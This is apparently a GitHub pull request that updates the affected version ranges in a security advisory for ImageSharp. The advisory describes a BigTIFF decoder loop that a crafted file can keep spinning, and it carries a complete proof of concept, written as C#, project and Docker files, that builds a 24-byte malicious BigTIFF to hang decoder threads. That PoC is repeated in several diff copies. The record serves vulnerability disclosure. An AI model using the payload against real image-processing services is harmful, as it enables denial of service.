Skip to content

[GHSA-wmxv-xphr-5c9g] ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop - #10269

Open
JimBobSquarePants wants to merge 1 commit into
JimBobSquarePants/advisory-improvement-10269from
JimBobSquarePants-GHSA-wmxv-xphr-5c9g
Open

JimBobSquarePants wants to merge 1 commit into
JimBobSquarePants/advisory-improvement-10269from
JimBobSquarePants-GHSA-wmxv-xphr-5c9g

Conversation

@JimBobSquarePants

Copy link
Copy Markdown

Updates

  • Affected products
  • Description

Comments
The fix has been backported and released in ImageSharp 3.2.0. Split the affected ranges to exclude the fixed v3 release while preserving the existing v4 fix. The repository advisory has already been updated.

Release: https://github.com/SixLabors/ImageSharp/releases/tag/v3.2.0
Repository advisory: GHSA-wmxv-xphr-5c9g

@github

github commented Oct 9, 2026

Copy link
Copy Markdown
Collaborator

Hi there @JimBobSquarePants! A community member has suggested an improvement to your security advisory. If approved, this change will affect the global advisory listed at github.com/advisories. It will not affect the version listed in your project repository.

This change will be reviewed by our Security Curation Team. If you have thoughts or feedback, please share them in a comment here! If this PR has already been closed, you can start a new community contribution for this advisory

Copilot AI balanced review requested due to automatic review settings October 9, 2026 09:17
@github-actions
github-actions Bot changed the base branch from main to JimBobSquarePants/advisory-improvement-10269 October 9, 2026 09:17

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Changes recommended

The description still incorrectly claims every release through v4.1.1 contains the vulnerable loop.

1 open finding
What changed in this PR

Updates the ImageSharp advisory to reflect the v3 backported fix.

Changes:

  • Adds 3.2.0 as the v3 patched release.
  • Splits affected ranges between v2/v3 and v4.
File Description
GHSA-wmxv-xphr-5c9g.json Updates affected ranges and advisory details.

🧠 Review effort: Balanced


💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

],
"summary": "ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop",
"details": "### Summary\n\n`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a\nsmall malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader\niterates once per declared entry, but when fewer than 20 bytes remain for an entry,\nthe entry read returns without advancing. A 24-byte input can therefore run billions\nof iterations without consuming input.\n\nOne decoder invocation occupied one executing thread for more than five seconds in\nthe tested environment. This report makes no worker-pool exhaustion claim.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.0.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nBigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.\n### Details\n\n[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nThe public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF\nwith its first IFD at offset 16 and entry count `5000000000`. There are no bytes\nfor an entry. Run the supplied container under a five-second timeout.\n\nComplete observed output:\n\n```text\nbigTiffBytes=24 entryCount=5000000000\ntimeout exit status: 124\n```\n\n`timeout` exit code 124 means the decoder had not returned after five seconds.\n\nThe control is identical except the entry count is `1`:\n\n```text\nbigTiffBytes=24 entryCount=1\ndecoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth\nDocker exit status: 0\n```\n\nThe control rejects malformed input promptly; it does not time out.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\n\nstatic class Program\n{\n // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.\n // The count field is controlled by the input.\n private static byte[] BuildBigTiff(ulong entryCount)\n {\n byte[] bytes = new byte[24];\n bytes[0] = 0x49; bytes[1] = 0x49; // II\n bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic\n bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets\n BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);\n BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);\n return bytes;\n }\n\n private static void Main(string[] args)\n {\n ulong entryCount = ulong.Parse(args[0]);\n byte[] bytes = BuildBigTiff(entryCount);\n Console.Error.WriteLine($\"bigTiffBytes={bytes.Length} entryCount={entryCount}\");\n try\n {\n using var stream = new MemoryStream(bytes);\n using Image image = Image.Load(stream);\n Console.Error.WriteLine(\"completed\");\n }\n catch (Exception ex)\n {\n Console.Error.WriteLine($\"decoderReturned={ex.GetType().Name} message={ex.Message}\");\n }\n }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n <PropertyGroup>\n <OutputType>Exe</OutputType>\n <TargetFramework>net8.0</TargetFramework>\n <ImplicitUsings>enable</ImplicitUsings>\n <Nullable>enable</Nullable>\n </PropertyGroup>\n <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n <ItemGroup>\n <Reference Include=\"SixLabors.ImageSharp\">\n <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n </Reference>\n <Reference Include=\"System.IO.Hashing\">\n <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n </Reference>\n </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY wmxv.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build wmxv.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/wmxv.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-wmxv-poc .\ntimeout 5 docker run --rm imagesharp-wmxv-poc 5000000000\ndocker run --rm imagesharp-wmxv-poc 1\n```",
"details": "### Patched versions\n\nFixed in ImageSharp **3.2.0** and **4.1.2**. Users on v3 should upgrade to 3.2.0; users on v4 should upgrade to 4.1.2 or later.\n\n### Summary\n\n`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a\nsmall malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader\niterates once per declared entry, but when fewer than 20 bytes remain for an entry,\nthe entry read returns without advancing. A 24-byte input can therefore run billions\nof iterations without consuming input.\n\nOne decoder invocation occupied one executing thread for more than five seconds in\nthe tested environment. This report makes no worker-pool exhaustion claim.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected ranges: `>= 2.0.0, < 3.2.0` and `>= 4.0.0, < 4.1.2`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nBigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.\n### Details\n\n[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nThe public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF\nwith its first IFD at offset 16 and entry count `5000000000`. There are no bytes\nfor an entry. Run the supplied container under a five-second timeout.\n\nComplete observed output:\n\n```text\nbigTiffBytes=24 entryCount=5000000000\ntimeout exit status: 124\n```\n\n`timeout` exit code 124 means the decoder had not returned after five seconds.\n\nThe control is identical except the entry count is `1`:\n\n```text\nbigTiffBytes=24 entryCount=1\ndecoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth\nDocker exit status: 0\n```\n\nThe control rejects malformed input promptly; it does not time out.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\n\nstatic class Program\n{\n // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.\n // The count field is controlled by the input.\n private static byte[] BuildBigTiff(ulong entryCount)\n {\n byte[] bytes = new byte[24];\n bytes[0] = 0x49; bytes[1] = 0x49; // II\n bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic\n bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets\n BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);\n BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);\n return bytes;\n }\n\n private static void Main(string[] args)\n {\n ulong entryCount = ulong.Parse(args[0]);\n byte[] bytes = BuildBigTiff(entryCount);\n Console.Error.WriteLine($\"bigTiffBytes={bytes.Length} entryCount={entryCount}\");\n try\n {\n using var stream = new MemoryStream(bytes);\n using Image image = Image.Load(stream);\n Console.Error.WriteLine(\"completed\");\n }\n catch (Exception ex)\n {\n Console.Error.WriteLine($\"decoderReturned={ex.GetType().Name} message={ex.Message}\");\n }\n }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n <PropertyGroup>\n <OutputType>Exe</OutputType>\n <TargetFramework>net8.0</TargetFramework>\n <ImplicitUsings>enable</ImplicitUsings>\n <Nullable>enable</Nullable>\n </PropertyGroup>\n <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n <ItemGroup>\n <Reference Include=\"SixLabors.ImageSharp\">\n <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n </Reference>\n <Reference Include=\"System.IO.Hashing\">\n <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n </Reference>\n </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY wmxv.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build wmxv.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/wmxv.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-wmxv-poc .\ntimeout 5 docker run --rm imagesharp-wmxv-poc 5000000000\ndocker run --rm imagesharp-wmxv-poc 1\n```",
@JimBobSquarePants

JimBobSquarePants commented Oct 9, 2026 •

Copy link
Copy Markdown
Author

The review is correct. I have corrected the repository advisory description. Its current updated_at is 10/09/2026 11:35:20.

I cannot push to the GitHub-managed contribution branch (the Contents API returns HTTP 404 for the update). Please apply the following correction to this PR. It aligns the description with the existing affected ranges and sets modified to the repository advisory's actual update timestamp.

Exact JSON changes
--- a/advisories/github-reviewed/2026/10/GHSA-wmxv-xphr-5c9g/GHSA-wmxv-xphr-5c9g.json
+++ b/advisories/github-reviewed/2026/10/GHSA-wmxv-xphr-5c9g/GHSA-wmxv-xphr-5c9g.json
@@ -4 +4 @@
-  "modified": "2026-10-07T20:24:33Z",
+  "modified": "10/09/2026 11:35:20",
@@ -10 +10 @@
-  "details": "### Patched versions\n\nFixed in ImageSharp **3.2.0** and **4.1.2**. Users on v3 should upgrade to 3.2.0; users on v4 should upgrade to 4.1.2 or later.\n\n### Summary\n\n`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a\nsmall malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader\niterates once per declared entry, but when fewer than 20 bytes remain for an entry,\nthe entry read returns without advancing. A 24-byte input can therefore run billions\nof iterations without consuming input.\n\nOne decoder invocation occupied one executing thread for more than five seconds in\nthe tested environment. This report makes no worker-pool exhaustion claim.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected ranges: `>= 2.0.0, < 3.2.0` and `>= 4.0.0, < 4.1.2`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nBigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.\n### Details\n\n[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nThe public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF\nwith its first IFD at offset 16 and entry count `5000000000`. There are no bytes\nfor an entry. Run the supplied container under a five-second timeout.\n\nComplete observed output:\n\n```text\nbigTiffBytes=24 entryCount=5000000000\ntimeout exit status: 124\n```\n\n`timeout` exit code 124 means the decoder had not returned after five seconds.\n\nThe control is identical except the entry count is `1`:\n\n```text\nbigTiffBytes=24 entryCount=1\ndecoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth\nDocker exit status: 0\n```\n\nThe control rejects malformed input promptly; it does not time out.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\n\nstatic class Program\n{\n    // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.\n    // The count field is controlled by the input.\n    private static byte[] BuildBigTiff(ulong entryCount)\n    {\n        byte[] bytes = new byte[24];\n        bytes[0] = 0x49; bytes[1] = 0x49;               // II\n        bytes[2] = 0x2B; bytes[3] = 0x00;               // BigTIFF magic\n        bytes[4] = 0x08; bytes[5] = 0x00;               // 8-byte offsets\n        BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);\n        BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);\n        return bytes;\n    }\n\n    private static void Main(string[] args)\n    {\n        ulong entryCount = ulong.Parse(args[0]);\n        byte[] bytes = BuildBigTiff(entryCount);\n        Console.Error.WriteLine($\"bigTiffBytes={bytes.Length} entryCount={entryCount}\");\n        try\n        {\n            using var stream = new MemoryStream(bytes);\n            using Image image = Image.Load(stream);\n            Console.Error.WriteLine(\"completed\");\n        }\n        catch (Exception ex)\n        {\n            Console.Error.WriteLine($\"decoderReturned={ex.GetType().Name} message={ex.Message}\");\n        }\n    }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n  <PropertyGroup>\n    <OutputType>Exe</OutputType>\n    <TargetFramework>net8.0</TargetFramework>\n    <ImplicitUsings>enable</ImplicitUsings>\n    <Nullable>enable</Nullable>\n  </PropertyGroup>\n  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n  <ItemGroup>\n    <Reference Include=\"SixLabors.ImageSharp\">\n      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.IO.Hashing\">\n      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n    </Reference>\n  </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY wmxv.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n    && dotnet restore fetch.csproj --nologo \\\n    && rm fetch.csproj \\\n    && dotnet build wmxv.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/wmxv.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-wmxv-poc .\ntimeout 5 docker run --rm imagesharp-wmxv-poc 5000000000\ndocker run --rm imagesharp-wmxv-poc 1\n```",
+  "details": "### Patched versions\n\nFixed in ImageSharp **3.2.0** and **4.1.2**. Users on v3 should upgrade to 3.2.0; users on v4 should upgrade to 4.1.2 or later.\n\n### Summary\n\n`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a\nsmall malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader\niterates once per declared entry, but when fewer than 20 bytes remain for an entry,\nthe entry read returns without advancing. A 24-byte input can therefore run billions\nof iterations without consuming input.\n\nOne decoder invocation occupied one executing thread for more than five seconds in\nthe tested environment. This report makes no worker-pool exhaustion claim.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected ranges: `>= 2.0.0, < 3.2.0` and `>= 4.0.0, < 4.1.2`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nBigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Releases from v2.0.0 up to, but not including, v3.2.0, and v4 releases from v4.0.0 up to, but not including, v4.1.2 retain that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both.\n### Details\n\n[`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop.\n\n### Tested environment\n\nThe reproduction uses the DLL in the published NuGet 4.1.1 package:\n\n```text\nSixLabors.ImageSharp.dll SHA-256:\nc50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f\nRuntime: .NET 8.0.30 (linux-arm64)\nSDK: 8.0.424\nOS: Debian GNU/Linux 12 (bookworm), Docker\n```\n\n### Reproduction\n\nThe public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF\nwith its first IFD at offset 16 and entry count `5000000000`. There are no bytes\nfor an entry. Run the supplied container under a five-second timeout.\n\nComplete observed output:\n\n```text\nbigTiffBytes=24 entryCount=5000000000\ntimeout exit status: 124\n```\n\n`timeout` exit code 124 means the decoder had not returned after five seconds.\n\nThe control is identical except the entry count is `1`:\n\n```text\nbigTiffBytes=24 entryCount=1\ndecoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth\nDocker exit status: 0\n```\n\nThe control rejects malformed input promptly; it does not time out.\n\nNo active exploitation is known.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\n\nstatic class Program\n{\n    // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data.\n    // The count field is controlled by the input.\n    private static byte[] BuildBigTiff(ulong entryCount)\n    {\n        byte[] bytes = new byte[24];\n        bytes[0] = 0x49; bytes[1] = 0x49;               // II\n        bytes[2] = 0x2B; bytes[3] = 0x00;               // BigTIFF magic\n        bytes[4] = 0x08; bytes[5] = 0x00;               // 8-byte offsets\n        BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8);\n        BitConverter.GetBytes(entryCount).CopyTo(bytes, 16);\n        return bytes;\n    }\n\n    private static void Main(string[] args)\n    {\n        ulong entryCount = ulong.Parse(args[0]);\n        byte[] bytes = BuildBigTiff(entryCount);\n        Console.Error.WriteLine($\"bigTiffBytes={bytes.Length} entryCount={entryCount}\");\n        try\n        {\n            using var stream = new MemoryStream(bytes);\n            using Image image = Image.Load(stream);\n            Console.Error.WriteLine(\"completed\");\n        }\n        catch (Exception ex)\n        {\n            Console.Error.WriteLine($\"decoderReturned={ex.GetType().Name} message={ex.Message}\");\n        }\n    }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n  <PropertyGroup>\n    <OutputType>Exe</OutputType>\n    <TargetFramework>net8.0</TargetFramework>\n    <ImplicitUsings>enable</ImplicitUsings>\n    <Nullable>enable</Nullable>\n  </PropertyGroup>\n  <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->\n  <ItemGroup>\n    <Reference Include=\"SixLabors.ImageSharp\">\n      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System.IO.Hashing\">\n      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n    </Reference>\n  </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY wmxv.csproj Program.cs ./\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n    && dotnet restore fetch.csproj --nologo \\\n    && rm fetch.csproj \\\n    && dotnet build wmxv.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/wmxv.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-wmxv-poc .\ntimeout 5 docker run --rm imagesharp-wmxv-poc 5000000000\ndocker run --rm imagesharp-wmxv-poc 1\n```\n",

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants